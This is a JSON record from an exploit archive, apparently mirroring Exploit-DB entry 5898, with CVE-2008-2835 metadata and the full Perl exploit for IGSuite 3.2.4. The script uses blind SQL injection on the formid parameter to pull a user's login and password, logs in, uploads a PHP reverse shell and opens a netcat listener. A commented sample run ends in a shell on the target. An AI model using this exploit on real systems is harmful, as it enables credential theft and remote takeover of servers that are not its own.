{"exploit":{"id":"EDB-5898","name":"IGSuite 3.2.4 - Reverse Shell / Blind SQL Injection (SQLi)","description":"IGSuite 3.2.4 - Reverse Shell / Blind SQL Injection (SQLi)","cves":["CVE-2008-2835"],"author":"Guido Landi","published":"2008-06-22","platform":"php","type":"webapps","language":"Perl","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/5898","path":"exploits/php/webapps/5898.pl","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-5898.pl","vulnerabilities":[{"id":"CVE-2008-2835","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in cgi-bin/igsuite in IGSuite 3.2.4 allows remote attackers to execute arbitrary SQL commands via the formid parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2008-2835","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2008-2835"},"updatedAt":"2024-08-07T09:14:14.887Z","retrievedAt":"2026-11-27T01:11:54.639Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-5898.png?v=2","url":"https://exploitbin.com/exploits/EDB-5898","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-5898/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-5898/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"#!/usr/bin/perl\n#\n# 05/18/2008 - IGSuite 3.2.4 Blind SQL Injection - k`sOSe\n#\n# 05/21/2008 -  Vendor notified\n# 05/23/2008 -  A patch was pushed via the igsuited daemon(not enabled by default)\n# Fix: run igsuited --update-igsuite or upgrade to 3.2.5-beta.\n#\n# Tested on IGSuite 3.2.4 on linux with MySQL, needs nc(in path).\n# Drops a reverse shell, use http://pentestmonkey.net/tools/php-reverse-shell/\n#\n#\n# cohelet ~ # ./igsploit.pl localhost /cgi-bin / ./php-reverse-shell.php 1234\n# IGSploit 0.1 - k`sOSe\n#\n# [*] Abusing blind SQL injection: ksose=qwerty\n# [*] Logging in with username `ksose', password `qwerty'...\n# [I] Found `formid' -> 12141384631aX7I\n# [I] Logged in!\n# [*] Uploading shell..\n# [I] Found `formid' -> 1214138463vOl5x\n# [*] Requesting //Home/ksose/php-reverse-shell.php now, shell will spawn here...\n# listening on [any] 1234 ...\n# connect to [127.0.0.1] from localhost [127.0.0.1] 44758\n# Linux cohelet 2.6.25-gentoo-r5 #1 SMP PREEMPT Sat Jun 21 11:32:15 CEST 2008 i686 Intel(R) Core(TM)2 CPU 6600 @ 2.40GHz GenuineIntel GNU/Linux\n#  14:41:05 up 1 day,  2:52,  1 user,  load average: 0.51, 0.34, 0.52\n#  USER     TTY        LOGIN@   IDLE   JCPU   PCPU WHAT\n#  root     tty1      Sat11   21:33m  0.84s  0.02s /bin/login --\n#  uid=81(apache) gid=81(apache) groups=81(apache)\n#  sh: no job control in this shell\n#  sh-3.2$\n\nuse warnings;\nuse strict;\n\nprint \"IGSploit 0.1 - k`sOSe\\n\\n\";\nusage() unless(@ARGV>2);\n\n\nuse POSIX;\nuse LWP::UserAgent;\nuse HTTP::Cookies;\n\nmy $ighost\t= $ARGV[0];\nmy $igcgi\t= $ARGV[1];\nmy $igpath\t= $ARGV[2];\nmy $evilfile\t= $ARGV[3];\nmy $rport\t= $ARGV[4];\nmy $igurl\t= 'http://' . $ighost . $igcgi;\nmy @chars\t= ( '', '=', 'a'..'z', 0..9, 'A'..'Z', '-', '_', '@', ';', ':', ',', '.', ')' ,'(', '&', '/', '%', '$' );\n\nmy $count\t= 1;\nmy $string\t= '';\n\nmy $ua = LWP::UserAgent->new;  $ua->agent( \"Mozilla/5.0\" );\n$ua->cookie_jar( HTTP::Cookies->new( ) );\n$ua->timeout(5);\n\n\n\nprint \"[*] Abusing blind SQL injection:   \";\n$|=1;\nwhile(1)\n{\n\tfor my $char( @chars )\n\t{\n\t\tif( defined( my $found = check_char( $count, $char ) ) )\n\t\t{\n\t\t\tif( $found eq '' )\n\t\t\t{\n\t\t\t\tupload_shell( split( '=', $string ) );\n\t\t\t\texit;\n\t\t\t}\n\t\t\t$string .= $found;\n\t\t\t$count++;\n\t\t\tlast;\n\t\t}\n\t}\n}\n\nsub upload_shell\n{\n\tmy ($username, $password) = @_;\n\n\tprint \"[*] Logging in with username `$username', password `$password'...\\n\";\n\tdo_login( $username, $password );\n\n\n\tprint \"[*] Uploading shell..\\n\";\n\tmy $formid = get_formid( $ua->get( \"$igurl/filemanager?action=uploadfile&dir=/Home/$username&repid=&repapp=&order=nome\" )->content );\n\tmy $res = $ua->post(\t\"$igurl/filemanager\",\n\t\t\t\tContent_Type\t=> 'multipart/form-data',\n\t\t\t\tContent\t\t=> [\n\t\t\t\t\t\tformid\t\t=> [undef, undef, Content => $formid],\n\t\t\t\t\t\tupfile\t\t=> [undef, ($evilfile =~ m/.+\\/(.+)/g)[0], Content => slurp($evilfile)],\n\t\t\t\t\t\tnewfilename\t=> [undef, undef, Content => $evilfile],\n\t\t\t\t\t\tsubmit8\t\t=> [undef, undef, Content => 'Conferma'],\n\t\t\t\t\t\t]\n\t\t\t\t);\n\n\n\tif(qx(which nc 2>&1) !~ /^which:/)\n\t{\n\t\tprint \"[*] Requesting $igpath/Home/$username/\" . ($evilfile =~ m/.+\\/(.+)/g)[0] . \" now, shell will spawn here...\\n\";\n\n\t\tmy $pid = fork();\n\t\tif($pid)\n\t\t{\n\t\t\tsleep 2;\n\t\t\tmy $res = $ua->get ( \"http://$ighost$igpath/Home/$username/\" . ($evilfile =~ m/.+\\/(.+)/g)[0] );\n\n\t\t\tif(!$res->is_success && $res->status_line() !~ /^500 .*timeout/)\n\t\t\t{\n\t\t\t\tprint \"\\n[W] Unexpected status code received -> \" . $res->status_line . \"\\n\";\n\t\t\t}\n\n\t\t\twaitpid($pid, 0);\n\t\t}\n\t\telse\n\t\t{\n\t\t\texec(\"`which nc` -v -l -p $rport\");\n\t\t}\n\t}\n\telse\n\t{\n\t\tprint \"[W] Can't find netcat!\\n\";\n\t\tprint \"[*] File uploaded on http://$ighost$igpath/Home/$username/\" . ($evilfile =~ m/.+\\/(.+)/g)[0] . \", start your listener on port $rport and wget it\\n\";\n\t}\n}\n\nsub do_login\n{\n\tmy ($username, $password) = @_;\n\n\tmy $formid = get_formid($ua->get( \"$igurl/igsuite\" )->content);\n\n\tmy $res = $ua->post( \"$igurl/igsuite\",\n\t\t\t\t{\n\t\t\t\t\tformid\t=> $formid,\n\t\t\t\t\tlogin\t=> $username,\n\t\t\t\t\tpwd\t=> $password,\n\t\t\t\t\tsubmit5\t=> 'Accedi',\n\t\t\t\t});\n\tdie( \"Can't login\\n\" )\n\t\tif( $res->content !~ /this application need a browser that support multi frame/ );\n\n\t# lies\n\tprint \"[I] Logged in!\\n\";\n\n\treturn $formid;\n}\n\nsub get_formid\n{\n\tmy ($content) = @_;\n\n\tdie( \"Can't find formid value\\n\" )\n\t\t unless $content =~ /name=\"formid\"\\s+value=\"(.+?)\"/;\n\n\tprint \"[I] Found `formid' -> $1\\n\";\n\n\treturn $1;\n}\n\nsub slurp\n{\n\treturn do {\n\t\t\topen(my $f, \"<$_[0]\") or die(\"opening `$_[0]': $!\");\n\t\t\tlocal $/;\n\t\t\tmy $s=<$f>;\n\t\t\tclose $f;\n\t\t\t$s\n\t\t};\n}\n\nsub check_char\n{\n\tmy ($count, $char) = @_;\n\n\tmy $res = $ua->post( \"$igurl/igsuite\",\n\t\t\t\t{\n\t\t\t\t\tformid =>\t\"1' OR (SELECT \".\n\t\t\t\t\t\t\t\"MID(CONCAT(`login`, 0x3d, `passwd`), $count, 1) \".\n\t\t\t\t\t\t\t\"FROM `users` LIMIT 0,1) = '$char\",\n\t\t\t\t});\n\tdie (\"Error: \" . $res->status_line . \"\\n\") unless ( $res->is_success );\n\n\tif($res->content =~ /IGSuite Error/)\n\t{\n\t\tprint \"\\b$char\";\n\t\treturn undef;\n\t}\n\telsif($res->status_line =~ /^(2\\d+|3\\d+)/)\n\t{\n\t\tprint \"\\b$char  \";\n\t\tprint \"\\n\" if ($char eq '');\n\t\treturn $char;\n\t}\n\telse\n\t{\n\t\tprint \"\\n[!] \" . $res->status_line . \":\\n########\\n\\n\" . $res->content . \"\\n########\\n\\n\";\n\t\tdie(\"[!] Failed, check cgi/docroot path.\");\n\t}\n}\n\nsub usage\n{\n\tdie <<EOM;\nUsage: $0 [host] [path to cgis] [path to igsuite docroot] [reverseshell] [reverseport]\n\nEx: $0 localhost /cgi-bin / ./php-reverse-shell.php 1234\n\nEOM\n}\n\n# milw0rm.com [2008-06-22]","sha256":"326b25cd86e17c34353c670643ba9d2156d1578e75a9cf2f6d3474c6a180c63b","bytes":5294,"fetchedAt":"2026-11-27T01:11:50.486Z","encoding":"utf-8 (display only; download retains original bytes)"}